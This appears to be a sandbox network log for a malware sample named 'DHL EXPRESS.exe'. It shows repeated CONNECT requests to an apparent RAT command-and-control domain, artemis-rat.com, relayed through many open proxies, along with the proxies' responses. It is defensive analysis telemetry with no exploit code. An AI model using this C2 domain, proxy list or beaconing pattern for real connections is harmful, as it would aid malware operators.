Mar 11, 2024 18:36:46.383411884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.8	50174	189.240.60.163	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.384778976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.751521111 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.8	51072	72.195.34.41	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.385518074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.8	51044	45.159.189.244	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.389708996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:46.382210970 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.8	51034	5.252.23.220	1081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.392214060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.050007105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.8	51036	43.131.245.216	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.392460108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.8	51085	174.64.199.82	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.596776009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.8	51030	45.11.95.165	5034	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.597723961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.8	51046	58.234.116.197	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.597851992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.8	51135	162.159.242.10	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.598448992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.760045052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.8	51040	31.43.158.108	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.598614931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.8	51029	202.162.219.10	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.598669052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.8	51104	184.178.172.14	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.599205971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.8	51056	27.0.234.206	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.599208117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.8	51032	176.192.65.34	5020	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.599595070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.8	50340	162.241.46.6	34172	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.599723101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.677951097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.706769943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.706742048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.706523895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.706295967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.706537962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:58.709088087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.8	50259	82.64.77.30	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.599755049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.899719000 CET	555	IN	HTTP/1.1 403 Proxy Error Date: Mon, 11 Mar 2024 17:36:46 GMT Server: Apache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 43 6f 6e 6e 65 63 74 20 74 6f 20 72 65 6d 6f 74 65 20 6d 61 63 68 69 6e 65 20 62 6c 6f 63 6b 65 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Proxy Error</title></head><body><h1>Proxy Error</h1><p>You don't have permission to access this resource.The proxy server could not handle the request<p>Reason: <strong>Connect to remote machine blocked</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.8	50231	43.129.228.46	7891	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.599858046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.8	51142	162.253.68.97	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.599946976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.8	51112	187.49.191.14	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.599991083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.701971054 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:37:50.853823900 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 729 Content-Type: text/html Date: Mon, 11 Mar 2024 17:37:57 GMT Expires: Mon, 11 Mar 2024 17:37:57 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.8	51074	200.7.11.154	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.600076914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.850358009 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.8	51062	51.161.131.84	63055	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.600722075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.331242085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.410418034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.592870951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.8	51048	212.108.145.195	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.600819111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.8	51100	130.162.213.175	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.600848913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.938070059 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.8	51105	121.128.194.154	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.600943089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.8	51070	138.36.150.16	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.601020098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.331341982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.8	51091	91.189.177.188	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.601341963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.972803116 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3628 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.8	51115	13.37.59.99	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.604548931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.222778082 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.8	51128	72.210.221.197	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.604697943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.8	50405	51.79.87.144	41746	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.604765892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.768883944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
